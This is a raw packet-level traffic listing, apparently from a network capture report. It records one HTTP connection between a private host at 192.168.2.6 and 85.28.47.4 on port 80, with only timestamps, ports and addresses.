Jul 1, 2024 07:20:44.378627062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378634930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378650904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378659964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378669977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378742933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378912926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378928900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378943920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378994942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378994942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378994942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379049063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379064083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379079103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379091978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379093885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379101038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379110098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379116058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379127026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379133940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379143000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379148960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379158974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379168987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379173040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379187107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379187107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379204988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379205942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379219055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379251003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379251003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.379373074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.379415989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469686985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469779015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469841957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469860077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469876051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469891071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469909906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469930887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469930887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469930887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469930887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469952106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469961882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.469969034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469985008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.469990015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470001936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470004082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470017910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470025063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470036030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470041037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470055103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470067978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470184088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470201969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470216990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470226049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470235109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470243931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470252991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470263958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470269918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470277071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470295906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470314980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470494032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470510006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470525980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470540047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470541954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470551014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470561981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470572948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470578909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470592022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470594883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470602989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470613003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470622063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470633984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470635891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470644951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470650911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470653057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470664024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470666885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470666885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470689058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470709085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470876932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470894098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470911026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.470921040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470954895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.470995903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471014023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471020937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471038103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471044064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471055984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471060991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471077919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471080065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471106052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471129894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471301079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471317053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471332073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471344948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471345901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471359015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471363068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471379042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471381903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471395016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471410990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471412897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471436977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471437931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471461058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471462011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471478939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471486092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471493959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471504927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471509933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471518040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471529007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471535921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471545935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471560001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471561909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471566916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471579075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471587896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471595049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471606016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471611977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471625090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471626997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471647024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471649885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471657038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471662998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471678972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471684933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471695900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.471709013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471726894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.471745014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472331047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472349882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472363949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472378969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472397089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472397089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472397089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472419024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472419024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472424030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472429991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472440958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472455978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472460985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472472906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472491026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472491026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472506046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472511053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472522020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472537994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472548008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472553015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472567081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472570896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472579956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472585917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472601891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472604990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472618103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472630024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472634077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472651005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472657919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472667933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472682953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472692013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472698927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472712994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472719908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472731113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472745895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.472747087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472764969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.472788095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473084927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473099947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473124027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473140955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473213911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473229885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473243952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473253965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473261118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473275900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473275900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473285913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473295927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473303080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473318100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473324060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473331928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473335028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473349094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473351002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473367929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473370075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473383904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473388910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473400116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473402977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473417044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473417044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473434925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473434925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473452091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473458052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473465919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473469019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473484993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.473484993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473500967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.473514080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562407970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562432051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562450886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562491894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562499046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562500954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562503099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562547922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562556982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562567949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562585115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562601089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562607050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562632084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562649012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562673092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562689066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562710047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562722921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562731981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562748909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562764883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562771082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562783003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562789917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562802076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.562807083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562824965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562839985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.562997103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563014030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563030005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563033104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563049078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563051939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563069105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563086033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563122034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563138008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563153028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563158035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563169003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563179016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563194990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563205004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563235044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563268900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563365936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563383102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563397884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563406944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563414097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563425064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563430071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563446045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563446999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563457966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563463926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563477039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563481092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563488007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563498020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563512087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563519955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563538074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563590050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563633919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563695908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563710928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563726902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563731909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563744068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563754082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563762903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563765049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563781977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563783884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563798904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563798904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563816071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563832045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.563963890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563980103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.563997030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564001083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564016104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564018965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564033985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564038038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564047098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564064026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564084053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564099073 CEST	80	49711	85.28.47.4	192.168.2.6
